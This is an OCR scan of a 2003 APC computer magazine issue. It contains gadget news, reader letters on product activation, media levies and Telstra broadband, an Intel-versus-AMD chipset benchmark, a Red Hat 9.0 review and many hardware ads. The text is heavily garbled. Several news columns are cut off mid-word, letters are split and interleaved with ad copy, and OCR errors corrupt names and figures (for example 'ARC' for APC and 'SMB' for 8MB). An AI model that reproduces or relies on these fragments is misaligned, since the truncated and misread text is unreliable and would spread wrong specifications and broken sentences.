read Japanese, head to www.sharp.co.jp/pserver. 
Alas, Sharp Australia has kept mum about the 
possibility of a local release. 






















Beta beat 

Sun has rained on Corel and Micr 
beta versions of its own XML-rea 
versionsofOpenOffice.org 1.1 ar 
only support output to XML, but 
documents can also be created. S 
native document compatibility w 
later version — although sadly, n 
difference between the free Ope 
commercial StarOffice sibling is t 
development kit and a database 
But as one of our savvy readers n 
2002 (page 24), with a bit of legw 
functionality in OpenOffice.org. f 
head to www.staroffice.com or' 
the time of printing, Linux, Solar'c 
of the OpenOffice.org 1.1 beta w 
OS X version due soon. Note that 
expires in September. 


The semi-professional desktop video editing market is becoming as crowded as the rec 
on Oscar night.The newest arrival is Pinnacle Systems'Edition 5 (from www. 
pineapplehead.com.au), which is eager to elbow Adobe Premiere, Avid XPressDV and 
Final Cut Pro out of the spotlight. Edition 5 sports top-end features such as: 2D and 3D i 
effects and compositing which uses the muscle of both the CPU and the GPU; backgroi 
rendering as you work with a full screen, hi-res previewing of the effects; plus integrate^ 
DVD authoring. Pinnacle also crows that the code has been optimised to take advantac 
Hyperthreading under the latest Pentium 4 chips. Edition 5 Standard costs $1,599 and i 
a FireWire card;the $2,299 Pro bundle adds a custom-built ATI graphics card. 


A time for memories 


DV deiights 


It had to happen. First it was the calculator watch, much later the MP3 
watch, then the watch with a built-in camera. But here's the ultimate 
geek chic accessory:the marriage of the watch with the USB memory 
key.The classy Memory Watch,from the Austrian design house of LAKS 
(www.laks.com), contains a flash memory chip and a retractable USB 
cable.The watches come stocked with 64,128 or 256MB of memory 
(priced at about $80, $120 and $ 180 respectively) and support Windows 
(9x and higher), Linux (kernel 2.4 and above), and Mac (OS 8.6 upwards), 
it's a shame that the interface is limited to the laggardly USB 1.1 rather 
than the peppier 2.0, but it's still the perfect gift for fashion-conscious 
geeks, or anyone who keeps forgetting where they stashed their 
memory key. 


iPod gets pumped 




No Apple product has crossed into the Windows market 
the iPod.These pocket dynamos set the standard for the 
player, racking up huge sales and awards aplenty (includ 
digital music player of 2002, see APC December 2002, pa 
manufacturers ship "mi 
has raised the bar with 
slimmer, lighter and ho 
The new iPod comes in 
versions for $595, $799 
(available from www.a 
15GB and 30GB model 
station; FireWire and U 
audio line-out, which a 
via the FireWire port.Tl 
gains backlit touch cor 
users can build playlist 
customise the menu tc 
functions near the top 
for the AAC format, wh 
iTunes Music Store,alti 
service was only availa 
version of iTunes, 4.0, i; 


Super Storage 


If there's a single universal truth in computing, it's that you can never have too much 
storage.The growing popularity of video editing means that hard-disk access speeds 
have become crucial in the past few years.The recent move to the Serial ATA interface 
has provided extra bandwidth but, as yet,drives haven't differed from their parallel 
ATA counterparts. Western Digital has released the world's first 10,000 
RPM Serial ATA hard disk.The WD Raptor ($316) is 

available in a 36.7GB capacity, with a rotational 
speed of 10,000 RPM and an SMB 
disk cache.This leads to a 
quoted read seek time of 5.2 
milliseconds, 

and a track-to-track seek of 0.7 
milliseconds. If these figures 
are borne out in benchmarking. 
Serial ATA is almost ready to take 
over from parallel SCSI solutions 
in delivering high-speed storage 
capabilities to servers. Watch for a review 
soon in the pages of APC. 


















I need solutions that 
innovate on price. 



You can with Acer. In fact, our Price Guarantee means 
we will match any competitive price” plus give you a voucher 
for $50*or $200**off a wide range of peripherals. So not only 
do you get the latest technology, such as the AcerPower ST 
powered by the Intel® Pentium® 4 Processor and complete 
'BuildYourOwn' customisation, but you pay less, too. How's 
that for value? 



It's easy with Acer. Simply go to www.acer.com.au, click on 
ShopAcer, and select the Acer product closest to your 
requirements. Then, choose from a range of options using 
the drop down menus to build the ideal customised solution 
for you. An on-line glossary explains each upgrade in plain 
English, so you can't go wrong. When you're finished, you 
can buy online, over the phone or save your configuration 
and take it to your nearest authorised dealer. That's it. 


I want to pick and 
choose extras. 


What if I need help 
when I'm working late? 


Acer recommends Microsoft® Windows® XP Professional for Business. 






















M 


All-in-one 

Business 

Notebook 


UPGRADE TO MICROSOFT® WINDOWS® XP PROFESSIONAL 
FOR $150 RRP INC GST' 

ADO MICROSOFT* OFFICE XP SBE FOR $300 RRP INC GST' 

Mobile Intel® Celeron® Processor 2.0GHz 

14.1” active colour screen 

128MB DDR SDRAM 

20GB hard disk drive 

24 X CD-ROM 

1.44 floppy disk drive 

Internal 56K modem + broadband ready 10/100 LAN 
Microsoft® Windows® XP Home 
2 Hour Commitment Warranty Express Service** 


% 


All-in-one 

Performance 

Notebook 


$1,999 


TravelMate 283XC 


us CARRY CASE' 

UPGRADE TO MICROSOFT* WINDOWS* 

XP PROFESSIONAL FOR $200 RRP INC GSr 

Mobile Intel® Pentium® 4 Processor 2.0GHz - M 

14.1" active colour screen 

256MB DDR SDRAM 

20GB hard disk drive 

8 X DVD -F 24 X 10 X 8 X CD-RW combo 

1.44 floppy disk drive 

Internal 56K modem -f 10/100 LAN - Broadband int 
Microsoft® Windows® XP Home 
2 Hour Commitment Warranty Express Service** 


$2,799 


¥ 


Intel® Centrino™ 
Mobile Technology 


TravelMate SOOXCi 


BONUS CARRY CASES 32MB US 
3 MONTH UNLIMITED BROADBAND WIRELESS ACCESS TO 
SKYNETGLOBAL* IN AUSTRALIA’ 

Intel® Centrino™ mobile technology 
Intel® Pentium® M processor 1.3GHz 
Intel® 855PM Chipset 

Intel® PRO/Wireless Network Connection 802.1 lb 

14.1 “ active colour screen 

256MB DDR SDRAM, 40GB hard disk drive 

8xDVD-f24x10x8xCD-RW 

Firewire, Integrated Smart Card security 

Internal 56k modem -f 10/100 LAN - Broadband internet ready 

4-in-l multi memory card reader 

Microsoft® Windows® XP Professional 

2 Hour Commitment Warranty Express Service**_ 


Mease quote e-Code TM 


$3,999 



Intel® Celeron® Processor 2,2GHz 
256MB DDR SDRAM 
20GB hard disk drive 
52 X 24 X 52 X CD-RW 
Integrated AC '97 audio 

Integrated lO/lOOM LAN - Broadband internet ready 
Ultra AGP II video technology (AGP 8x equivalent for 
3D/2D video applications) 

Microsoft® Windows® XP Home 
Microsoft® Works 7.0 


RRP int GST From $10.85 pel 


Intel® Pentium® 4 Processor 2.4GHz 

256MB DDR SDRAM 

40GB hard disk drive 

52 X CD-ROM 

Integrated AC '97 audio 

Integrated lO/lOOM LAN - Broadband internet ready 
Ultra AGP II video technology (AGP 8x equivalent for 
3D/2D video applications) 

Microsoft® Windows® XP Home 
Acer 17" monitor 

I site warranty 


Intel® Pentium® 4 Processor 2.66GHz 

256MB DDR SDRAM 

60GB 7200rpm hard disk drive 

32 X 10 X 40 X CD-RW -f 12 x DVD combo drive 

Integrated AC '97 audio 

Desktop speakers 

Integrated lO/lOOM LAN - Broadband internet ready 
64MB GeForce4 MX-440SE AGP 4x graphics card 
Microsoft® Windows® XP Professional 
Acer 17" monitor 

te warranty 


$1,299 

1 RRP inc GST from $12.52 per week* | 

$1,499 

RRP inc GST from $19.20 per week* 

' Please quote e-CodeV7S14 1 

$2,299 


1 


Performance 
and value 




Maximum scalability 


il 


Performance server 


ADD MICROSOFT® WINDOWS2000 SERVER FOR 
ONLY $1,299 RRP INC GST' 

Intel® Pentium® 4 Processor 2.0GHz 
256MB ECC DDR RAM 
Dual Channel IDE RAID controller 
3 channel integrated IDE controller 
Integrated Intel® Gi 
52 X CD-ROM 
280 watt power supply 

3 year on-site warranty with 24 x 7 hotline support 


iST from $11.68 per week* 


® Gigabit ethernet controller 


ADD MICROSOFT® WINDOWS20O0 SERVER FOR 
ONLY $1,299 RRP INC GST 
Intel® Xeon’^“ Processor 2.OGH2 
Dual processor capable 
512MB ECC DDR RAM 
1 X 36GB Ultra 320 SCSI hard disk drive 
Integrated 10/100/1000 ethernet controller 
54 X CD-ROM 

1 X 450 watt hotswap power supply 
3 year on-site warranty with 24 x 7 hotline support 


ADD AN ADDITIONAL 36GB SCSI DISK DRIVE FOR ONLY $620’ 

ADD MICROSOFT* WINDOWS* 2000 SERVER FOR ONLY $1,299’ 

Intel® XeonTw Processor 2.0GHz 

Dual processor capable 

512MB ECC DDR RAM 

1 X 3eGB Ultra 320 SCSI hard disk drive 

Integrated 10/100/1000 ethernet controller 

54 X CD-ROM 

1 X 450 watt hotswap power supply 
3 year on-site warranty with 24 x 7 hotline support 


$1,399 

1 RRP (IK GST from $33.39 per week* | 

$3,999 

^ Mease quote e-Code AAG7341 l 

$4,899] 


Acer 


wvvw.acer.com.au 


Authorised Dealers 


































Need to Know _ 

Epinions 

Smackdown slammed 


Letter of 
the month _ 

Product activation is being sold as a means of 
reducing piracy, and for some reason Australia 
is the guinea pig whether we like it or not. 
Adobe is not the first company to do this, 
and unfortunately will not be the last {we live 
in hope). I use AutoCAD and have to put up 


Just read your Linux Smackdown {ARC April, 
page 66). Did you let the office gopher into 
the lab to do the Debian test? Here's a better 
way to do it. Print out /cdrom/install/doc/ 
install.en.pdf on the first Debian CD and read 
the document. Before you start, gather all the 
information about your computer. Okay, boot 
CD five, now you'll be able to use the reiserfs 
you mentioned and install 2.4.18 kernel. With 
your printout in your right 
hand, (if you are left- 
handed) start hitting 
the enter key, read the 
screen a bit, but mostly 
you can enter your way 
through the install. 

This is an 

enlightening process. 

You will finish this install 
knowing a lot more about 
computers, and yours 
in particular. It doesn't 
pretend to treat you like a 
dummy. Lack Perl, PHPor 
Java? It's even got 
a few Forths for us old, really 
free, really open source coders 
(I've been open source since 1983). 

Colin Tree, 
via email 

Paul Robinson, author of the Linux Smackdown article, 
responds: Some of us in APC run Debian. It's both a 
powerfuldistroandadistroforthe"poweruser".Those 
are some of the reasons why we're putting the latest 
Debian build on the next issue's cover CD set. But as 
Colin points out, Debian is for those who want to get 
their hands dirty. Manypeopie who are interested in 
Linuxwon'tgo near Debian because it's hard to install 
and configure, and lacks a GUI front end. That's why 
APC placed such an emphasis on the vast differences 
between the Debian installer and almost every other 
distro reviewed. 

MEDIA LEVIES FOR THE BIRDS 

I was amazed to read (APC March, page 27) 
about the new proposed levy on blank CDs 
and DVDs. As a small business that, as part of 
the service, gives customers a backup copy 
of the data that was on their computer as 
well as all the current drivers and such, I find 
it offensive that I'm considered a criminal 



without ever doing anything wrong 
with blank CDs. 

I'm one of the few who respect artists' 
copyrights on music, and therefore never 
copied a music CD. Now I feel I was wrong 
all these years (and maybe also stupid that I 
haven't done so). The message is clear: if the 
Government charges a levy, it is legal to copy 
copyrighted CDs, as we paid our 
taxes to compensate the industry. 

Eran Smith, 
Maylands, WA 

FAIR GO FOR TELCOS? 

I often hear a lot of criticism 
directed at Telstra's BigPond 
Internet services, especially its 
broadband services. 

The usual comments are 
about pricing, service quality 
; or support issues. This often 
means that Telstra doesn't 
get a chance to improve 
its game in providing the 
service. 

Even if it solves one 
problem, someone else will attack it for 
another problem. Also, if it does anything 
with the service that is seen as controversial, 
there's encouragement from many to cease 
subscription to the service. 

The culture of "telecom-bashing" has 
created a difficult environment for this telco 
and it had to engage in a major PR exercise 
during the early 90s Just to maintain a positive 
image in many people's minds. 

It's the same the world over for all telcos 
and cable companies that have had any form 
of dominant status. They are often treated 
as though they consistently provide a poor 
service and ask people to pay big bucks for it. 
For example, British Telecom, the UK's major 
telco since the UK's PTT (government-run 
post, telephone and telegraph department) 
was split up in 1981, runs the OpenWorld 
Internet service which I consider the UK's 
equivalent of the BigPond service. This 
service is seen as not being "up to it" as far 
as quality goes and rates at No.11 on the 
ADSLGuide broadband information 
portal (www.adslguide.org.uk). 
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with product activation. Unfortunately, when 
I upgraded I wasn't aware that there would 
be a time after which these codes will not be 
issued, so if I need a major piece of hardware 
replaced after Autodesk stops issuing codes, I 
will have to re-buy the software just to access 
data I prepared using the version I still have a 
licence for. 

The problem with product activation 
that relies on the particular hardware or 
other configuration of a computer is that the 
purchaser of the licence is forever reliant on the 
company to provide an activation code. If you 
find yourself having to replace key hardware on 
your system, you must get a new authorisation 
code just to access your data. Software users do 
not have to upgrade. The licences aren't time 
limited, so as long as a user needs an activation 
code and is using the software in accordance 
with the licence, the codes must be provided. 

Users aren't after support that is charged 

for anyway. It is simply the ability to use the | 

software in accordance with the licence terms. 

Ian A. White, 
Biacktown. NSW 1 

Product activation is an increasingiy common 
approach adopted by software companies from 
Microsoft to Adobe. Are such schemes a useful 
anti-piracy measure or merely a tool to force users 
to upgrade? Let APC know your thoughts on this 
and other issues at apc@apcmag.com. 

For his argument with software licensing, 

Ian has won APC's letter of the month prize 
— Microsoft's Wireless Optical Desktop 
(below), valued at $229.95. Here's hoping this 
is one hardware upgrade that won't affect his 
appiications. 












How do you enjoy all the benefits of a 420nnm lens In a compact camera? You get your hands 
on the Panasonic DMC-FZ1 Lumix Digital Camera. It utilises a world-class Leica lens to 
deliver a massive 12x optical zoom - the biggest in the market. Combine this with an optical 
image stabiliser and mega burst shooting, and you’ve got one of the most versatile cameras 
on the planet. To find out more, visit your local retailer or go to www.panasonic.com.au 


Compact digital camera 
Professional 12x zoom. 


Panasonic expect more 






Agenda: 


We should give Internet services provided 
by dominant telcos a fair go and a chance in this 
competitive Internet-service marketplace. 

Simon Mackay, 
East Hawthorn, Vic 


JUST SIGN ME UP 

Having been a broadband user with Optus, 

I was forced to bite the bullet and change 
to BigPond broadband when I moved into a 
flat. I was attracted to the three-month, 1GB 
contract. In an attempt to lower the signup fee, 

I purchased a Telstra cable modem through 
eBay. Knowing the process can take up to two 
weeks, I rang BigPond to sign up before my 
modem arrived. 

I was signed up, and given an installation 
date. All they needed from me was the serial 
number on the modem. Once I had the modem, I 
rang back with the serial number. After one-and- 
a-half hours and four transfers, everyone in sales, 
billings, accounts and activation denied their 
responsibility to help me. The final chap had his 
system crash and told me to call back tomorrow. 

After the call, I sent an email to BigPond 
explaining my problem and vowed to call up 
the following day. I did, and after two hours and 
six transfers, was told they would have to cancel 
my order and start over. 

During this, they blamed waiting times on 
BigPond's new 18 month contract plan, which 
was getting a lot of attention with the $ 100 
saving. They twice asked if I would prefer the 
18-month plan. But if it takes so long just to 
sign up for the three-month plan, how long 
for the 18? They explained that as a result of all 
of this, the original install date would change 
and I would probably have to wait another two 
weeks for signup. 

I cancelled my order and put the phone 
down. Less than one minute later, BigPond 
called about my email. I said it was too late; 
in reply I was asked if I would be interested 
in the 18-month contract plan. Never has 
my phone been squeezed so tight. My cable 
modem is being displayed on eBay for a 
second time. After many years. I've come to 

Have your say _ 


We welcome your comments and suggestions. 
Send email to: apc@apcmag.com or write 
to; Epinions, ARC Magazine, PO Box 4088, 
Sydney NSW 1028. Ail correspondence 
becomes the property of APC and is subject 
to editing. 
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accept that businesses treat you like royalty 
when there's the prospect of taking your 
money, and when they have it, deny any 
knowledge of your existence. Telstra has 
changed the trend and denies my existence 
before I hand anything over. 

Coium Firmager, 
Eiwood, Vic 

IN DEFENCE OF LINUX 

As for Michael McCullen's (APC April, page 
36) dislike for Linux, the oniy reason 90% of 
computer users are "on your side" is because 
Windows is what you know. However, it 
by no means follows that Windows is "the 
best OS on the market". Anyone that can 
read Windows file extensions is competent 
enough to use Linux. The only reason Linux 
could possibly have crashed more times in 
two days than Windows XP is because large 
portions of the source have been removed. 
The only way this could have happened 
would be if you removed the source yourself. 
As many developers know, Linux is for the 
experienced user. 

With open source, you customise it to 
your exact liking. However, applications 
such the X Window System are for the less 
knowledgeable of us who need aGUI.lt has 
been proven that Linux is very stable on many 
servers. Also, Microsoft itself uses Linux on 
its servers, an admission that it has superior 
stability. The only thing in which Windows 
outshines Linux is ease of use, however, you 
will remain blinded by your DRM-ridden 
operating system. 

EiwinLee, 
via email 


As a support technician, I have to contact 
Dell direct when I have hardware woes. On 
average I have to wait two to three minutes 
before talking to a person who speaks English 
as a second language. These people have 
no hardware experience, and the only way 
they can understand what they are told is by 
opening their "simulator program", putting 
me on hold, and looking at a picture of the PC 
model in question. I have hung up on these 
people so many times in frustration after being 
told the most ridiculous of fixes. 

For example, I had a PC that was seemingly 
going into suspend mode — the light on the 
power button was flashing orange. The first 
Dell representative I spoke to assured me that 
the fix for this was to re-seat the power cables 
as obviously there was no power getting to the 
motherboard. Flashing orange light means no 
power to PC? Okay! I can see where he got that 
from... nope, hold on, I can't. 

After duking it out with this technician for 
15 minutes, I hung up in disgust and called back 
straight away. The next technician advised me 
that the problem was the RAM and couldn't 
be anything else. I re-seated the RAM and 
guess what? No go. I hung up and did my own 
investigation. It turned out to be a short in the 
riser board at the back of the case. 

Corporate agencies pay big bickies for 
support packages and warranty when making 
large purchases. If the person (s) on the other 
end of the phone don't have the brains to 
admit "OK, this one's beyond us, send a tech 
to diagnose and resolve on site", relations and 
reputations deteriorate at a very fast rate. 

Barry Duncan, 
via email 


BROADBAND BACKWATER 

Interesting interview with Justin Milne, 

Telstra's new Broadband Services chief (APC 
March, page 18). It's always a good Idea to 
ask questions about broadband to rural and 
Isolated parts of Australia. Next time, ask 
about broadband non-availability to parts 
of metropolitan Australia. I live in the north¬ 
eastern suburbs of Adelaide, about 17 km 
from the CBD, in a modern development. 

There is no cable, no ADSL and no likelihood 
of either. The area is full of pair gains. Our only 
broadband access is wobbly — and expensive 
— satellite. Small wonder Australia is seen as an 
IT backwater by the rest of the world. 

Peter Parfitt, 
Golden Grove, SA 



The winner of the April subscription promotion 
is E. C. White of Wheelers Hill, Vic. 

This APC reader has won an AcerTraveiMate 
283XC notebook and Microsoft software 
packages, valued at over $5,600. 












Don’t be surprised if you 
see us around town. 


For over 30 years, Brother has been one of the world's 
leading manufacturers of business printers. With the 
introduction of our new HL-7050N laser printer we offer 
advanced network management capabilities and multi- 
platform software compatibility. Now many large 
organisations worldwide are taking advantage of our 
reputation for quality and iower totai cost of ownership. 


H m H At your side. 

orouier 


corporate printing solutions www.brother.coni.au 

ct: NSW/ACT: (02) 9887 4344 VIC: (03) 9899 4844 QLD/NT: (07) 3348 9266 SA/TAS: (08) 8272 1300 ' 
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FOR A SERVER STOPS 


■ Tier 1 Technology 

■ Tier 1 Components 

■ Tier 1 Performance 

■ Tier 1 Support 



2U MAXTRON SERVER 214 



Critical Appli 


400W Power Supply (Optional Redundant Power Supply). 

Dual Intel Xeon 2.8GHz CPU 

Tyan Thunder i7501 S2721UGN Server Board, Intel E7501 Chipset, 

Adaptec U320 SCSI Controller, 4MB Graphic, Dual Intel LAN (Gigabit -(■ 10/100M) 
board. 

Adaptec 201 OS Zero Channel RAID 0,1,5 Controller. 

4GB ECC Registered DDR RAM(support up to 12GB ECC Registered DDR RAM). 
6 X 73GB SCSi SCA Hot Swappable HDD. 

Black CD-ROM/DVD & FDD. 


PEDESTAL MAXTRON SERVER 103 


■ 460W EPS12V Power Supply (Optional Redundant Power Supply). 

■ Dual Intel Xeon 2.8GHz CPU. 

■ Tyan Tiger i7501 S2723GNN Server Board, Intel E7501 Chipset 533/400MHZ FSB, 
SMB Video, Dual Intel LAN(Gigabit -i- 10/100M) on board. 

■ Adaptec 201 OS RAID 0,1,5 Controller. 

■ 8GB ECC Registered DDR RAM. 

■ 9 X 73GB SCSI Hot Swappable HDDs. 

■ CD-ROM/DVD & FDD. 

Dual AMD Athlon r.'P proowscr -st- j: 



OiQiCOR 


Melbourne; Ph: (03) 9560 - 7222 www.digicor.com.au 
Sydney: Ph: (02) 9648 - 6800 www.digicor.com.au 

Technical Support; (03) 9574 9905 (Resellers Only) 
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AMD versus Intel 

It's a silicon slug-fest as we benchtest 
AMD's XP 3000+ and Intel's 800MHz 
FSB-equipped Pentium 4, plus each 
vendor's matching chipsets. 
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Red Hat 9.0 

We believe there's a time for work and a time for 
play. But Red Hat seems to disagree: version 9.0 is 
clearly built for business, not fun. 


Mandrake 9.1 

Don't let the seemingly minor point update fool you. 
Mandrake's flagship Linux product was already great 
in version 9.0, now it's gotten a whole lot better. 



Belkin and SMC 54Mbit/s wireless 

Network vendors can't wait for 802.11g, but we think 
you should. Our test of these pre-g products reveals 
low speeds, short reach and incompatibility issues . 


■amrshopptos 
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Paint Shop Pro 8.0 

Jasc Software's popular graphics powerhouse 
gets a makeover that gives Photoshop something 
to think about. 


L.c9b£> Ch<3llenQE>& 


Barebones systems 

A mini PC doesn't have to mean mini 
performance. We check out 14 of the 
latest "barebones" computers. 

foM 

OVD software 

What software should you use to create 

DVD videos for playback? We make the choice easy by 

comparing five top authoring applications. 

“763 






52 


54 


56 


58 


60 



Dell Latitude D800 

Forget your slim-line, lightweight notebooks. 
This is your big boy, and it packs a mighty 
powerful punch. 


Apple PowerBook G417in 

Apple's gigantic new 17in PowerBook G4 
has everything a video editor could want 
— except a fast hard disk. 

Adobe Acrobat 6.0 

Acrobat now comes in three flavours, and they 
all make it easier for businesses to create 
and review PDF documents. 


Corel WordPerfect Office 11 

It's a good suite in its own right, but WordPerfect 
Office 11 is caught between Microsoft Office and 
open source alternatives ofOpenOffice.org. 

Palm Tungsten C 

A 400MHz Intel chip, 64MB of RAM, built-in Wi-Fi and 
a transflective colour screen. It's gotta be a Pocket PC, 
right? Wrong. Meet Palm's latest handheld. 


GateLock X200 and 
Brother HL-7050N 

Protect your PC from viruses, Trojans and 
hackers; plus check out the latest mono 
laser printer from Brother. 




DVD writers 

If CDs are too puny for your data 
storage needs, step into the realm 
of DVD writing. APC tests six internal 
DVD burners. -~T ^ 


Multifunction devices 

Want a low-cost machine that prints, 
scans and copies? Have a look at 
seven of these multifunction devices. 














Heavyweight 


showdown 


platform, while Intel continues to maintain the mass-market 1865 
Springdale stream. 

INTEL'S BANDWIDTH BOOST 

Both the Canterwood and Springdale architectures double the 
memory bandwidth of existing chipsets to 6.4GB/S, allowing the 
CPU to transfer data to memory more quickly. The i86S and i875P 
chipsets feature support for Serial ATA and DDR 400 memory, with the 
Canterwood also benefiting from an improved memory controller hub. 
The new controller can optimise the paths for certain types of data, 
which improves timing between processor and RAM. This reduces 
internal latency and speeds' processing times. 

The i875P chipset includes Intel's Communications Streaming 
Architecture (CSA), which allows gigabit Ethernet ports to directly 
interface with the Northbridge. The industry has expected to see 
a significant performance increase using the new i875P, not only 
because of the increase of speed across the frontside bus but also 
because of the new memory controller hub. 

The 800MHz Pentium 4 processors running on the Northwood 
B-core will hit the market soon and Intel plans to expand the range to 
include three new Hyperthreading processors: the 2.40C, 2.60C and 
2.80G, running at 2.4,2.6 and 2.8GHz respectively. 


The battle for desktop supremacy is again hotting 
up as AMD and Intel push their newest chipsets and 
accompanying CPUs into the marketplace. 

Matt Overington and JarrodSpiga report. 

We haven't been able to directly compare performance of the two 
new processors from Intel and AMD for some time. AMD has focused 
on ramping up the clock speeds for its Athlon XP processors and 
maintaining development on the Opteron, while Intel has been 
slowly pushing towards — and beyond — the 3GHz mark. Now, 
with the Barton-core AMD processors and 800MHz frontside bus 
offerings from Intel, the heat is back on. 

Intel's Pentium 4 platform was until recently based around the 
1845 chipset, running at a frontside bus speed of 533MHz, but this 
was boosted to 667MHz with the release of the 1865 Springdale 
architecture last year. On 15 November, 2002, Intel announced the 
high-end Canterwood chipset, the first platform to support the 
800MHz frontside bus. 

Demand grew to such levels that the Springdale platform 
was revised, and a later announcement from Intel suggested that 
Springdale would also run at 800MHz to suit the Northwood B 
Pentium 4 CPUs. Canterwood has since been released as the 
i875P chipset, and is intended to be a high-end Pentium 4 


AMD PLAYS THE NUMBERS GAME 

On the AMD side, things get confusing. The top 32-bit AMD performer 
is the Barton-core Athlon XP 3000+ chip, which runs at 2,167MHz.This 
is a slower clock speed than the older Athlon XP 2800+, which runs 
at 2,250MHz. The reason for this is AMD's bizarre rating scheme: it 
numbers processors based on their performance against Intel CPUs. 

The architecture of the original Athlon XP processors has been 
enhanced and the current Barton-core versions feature a 512KB 
level 2 cache, as opposed to the original 256KB offering found in the 
Athlon XP, meaning that they run slightly faster at lower clock speeds. 

The Barton-core CPU running at 2,167MHz benchmarks faster than 
the model equipped with 256KB of level 2 cache. This concept won't 
seem too foreign to hardware buffs who remember the debut of the 
Pentium. The Pentium was initially released at 60MHz, and at 
launch achieved higher benchmark scores than existing 486s 
running at 100MHz. Even though the clock speed on the 486 was 
one-and-two-thirds that of the Pentium, the Pentium chip was doing 
more on each clock cycle, making it faster. 
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ON THE BENCH 

The Canterwood architecture features Intel's newest technologies, 
and as such is the company's flagship in the desktop space. The 
i865 architecture differs only slightly from the i875P's, but doesn't 
feature the updated memory controller. We decided to run an 
i875P-based Intel D875PBZ motherboard with a Northwood B 3GHz 
Pentium 4 CPU against the latest offering from AMD — the Leadtek 
K7NCR18G Pro nForceZ motherboard with a Barton-core Athlon 
XP3000+ processor. 

Both systems were fitted with 512MB of Kingston HyperX PC3500 
DDR SDRAM, a Gigabyte Maya II Radeon 9700 Pro AGP Graphics card, 
and 120GB Serial ATA Maxtor DiamondMax Plus 9 hard disk. 

In the first few rounds of testing, competitors went head-to-head 
in our business productivity benchmarks. Interestingly, there wasn't 
much difference between the platforms. AMD came out with its nose 
in front after testing in Business Winstone 2002, yet the Canterwood 
product levelled the score in SYSmark2002's Office Productivity test. 

This is to be expected, as most office applications don't transfer 
huge amounts of data across the system bus. As a result, the difference 
between systems was negligible. 

However, Intel's 800MHz platform clearly performed better in other 
tests. In SYSmark 2002's Internet Content Creation benchmark, Intel 
scored a whopping 24% higher than the system based on the nForce 
chipset. The difference in 3D performance wasn't as pronounced, with 
the i875P architecture managing a 5% lead over the platform offered 
by AMD and nVidia. 

In our synthetic benchmarks we saw similar results: Canterwood 
edged ahead with Arithmetic Logic Unit (ALU) processing, but 
the Athlon XP has slightly better floating-point unit calculation 
capabilities. In the multimedia and memory bandwidth tests, the i875P 
platform chalked up significant victories attributable to the higher 
speed of the frontside bus. 

Intel again has two different CPU cores under the Pentium 4 
moniker — those fabricated around the original Northwood core, 
designed for the i845 chipset, and those built with Northwood B, 
designed to run with the 1865 and i875P architectures. The latter are 
partnered to an 800MHz FSB, and are said to perform up to 20% better 
than machines built on the older architecture. While we don't yet 
have adequate numbers to support this figure, our early testing has 
indicated a jump of about 15% in the new platforms. 

SUMMARY 

The performance of the Intel and AMD offerings is largely comparable, 
even though the latter is running at a clockspeed of 2,167MHz, versus 
Intel's true 3,000MHz. AMD initially adopted its numbering system for 
processors when Intel's clockspeeds started leaping ahead, insisting 
that its CPUs perform at a comparable speed to those offered by the 
rival manufacturer. For some time now, the AthlonXP processors 



have offered better clock-for-clock performance than the Pentium 4 
designs, and AMD has no plans to abandon the controversial desktop 
processor "system rating" scheme. 

By contrast, AMD's Opteron line of processors is being sold under 
stepping code numbers, rather than a system rating comparable with 
Intel's Itanium line, indicating that AMD is confident about the strength 
of the Opteron tag in the 64-bit arena. fUild 
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documents directory (similar to that found under the 
Windows' Start Menu). However, Red Hat has stuck 
with its Bluecurve theme, so the windows still look 
and behave the same way as version 8.0. 

Under the bonnet, there are few surprises. The 
default kernel is 2.4.20-6, which features goodies like 
FireWire, Bluetooth and hot-plug USB key support. 
Gnome 2.0 is the default desktop environment, 
although you can configure Red Hat 9.0 to boot to 
KDE 3.1-4 if you prefer. Again, Bluecurve is available, 
but the standard Keramik theme will appeal to 
seasoned KDE users. 

The standard Gnome/Red Hat browser is Mozilla, 
of which version 1.2.1 has been included with this 
release. Disappointingly, Red Hat has always been 
light on included packages, multimedia being an 
example in version 9.0. 

Red Hat's engineers haven't included the 
plug-ins for Real Audio, Shockwave Flash or Java, 
so you'll have to download and add them manually. 
Basically, this is done in the same way as with 
a Microsoft-based operating system, so it's not a huge cause for 
complaint — just something that we'd like to see fixed. 


Hard Hat 

There's a time for work and a time for play. We just 
wish that Red Hat 9.0 could let you do both. 

Red Hat's quick-step from version 8.0 to 9.0 caught many people 
unaware. Having already issued an 8.1 beta codenamed "Phoebe", the 
company decided to make a full-digit jump and move directly to 9.0 
(also known as "Shrike"). But we're left wondering whether the whole 
version increment can be justified. 

Experienced Red Hat users will know that the company abandoned 
MP3 and DVD support with the release of version 8.0, citing uncertainty 
over the licensing as the reason for dropping built-in support. Xine has 
also been excluded in version 9.0, but it takes only a few minutes and a 
functional Internet connection to add these to a working system. 

Licensing squabbles with nVidia also mean there are no new 3D 
drivers for owners of GeForce or TNT cards. Users have to download 
and install the appropriate drivers for the kernel they're running. While 
this isn't a major disappointment, it's still a hassle. Linux distros will 
never be able to stand toe-to-toe with other operating systems until 
they come with support for standards like MP3, DVD video and nVidia 
GPUs straight from the box. 

CLEAN LINES 

The size of the distribution hans't changed between releases. Red 
Hat Linux still ships in seven CDs: three are dedicated to the binaries 
and three contain the source code, while the final disc is stacked with 
documentation. 

As soon as you boot into Red Hat 9.0 you'll notice it has a cleaner 
look than its predecessors. While the 8.0 menu system was cause 
for complaint, this one is set out better; it even features a recent 


OFFICE-READY 

Red Hat is showing an obvious focus on the office market, and what 
9.0 lacks in multimedia applications it makes up for in productivity. 

The business-minded bundle includes the powerful Ximian Evolution 
1.2.2 client — which does most of what Outlook can do, including 
connection with Exchange servers — and the OpenOffice.org 1.0.2 
suite, although none of the Microsoft fonts are installed by default. 

The main differences between this version of Open Office.org 
and the one found in Red Hat 8.0 is an autocomplete feature and an 
animated character, similar to Microsoft's "Clippy", that pops up and 
provides help when needed. 

Red Hat Linux 9.0 is available for direct download via the 
subscription-only Red Hat Network, which costs US$60 per year. Users 
looking for the Professional version on CD will have to pay US$149.95, 
which gives you extra multimedia applications, 60 days' phone and 
Web support, plus extended documentation. 

A Personal edition is also available for US$39.95, which includes the 
basic packages, source and documentation. 

Red Hat has been worked on 
between releases, but not enough 
to justify a full version increment. 

We had to spend too much time 
tweaking the operating system 
after installing it, and adding 
support for various media files, 
which didn't impress us at all. For 
a lightweight desktop operating 
system for an office, it's perfect. 

For a home or multimedia 
operating system. Red Hat 9.0 
has a long way to go. 

Matt Overington 


j Carrt act Red Hat 

Phone 1800 733 428 

j^ntlne ,^,5«i»wredhat com au 
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FUJITSU 



Extraordinary 

Wireless and compact, Business and pleasure. 


Featuring outstanding multimedia capability in an ultra portable form factor, 



Fujitsu. Infinitely Wireless 


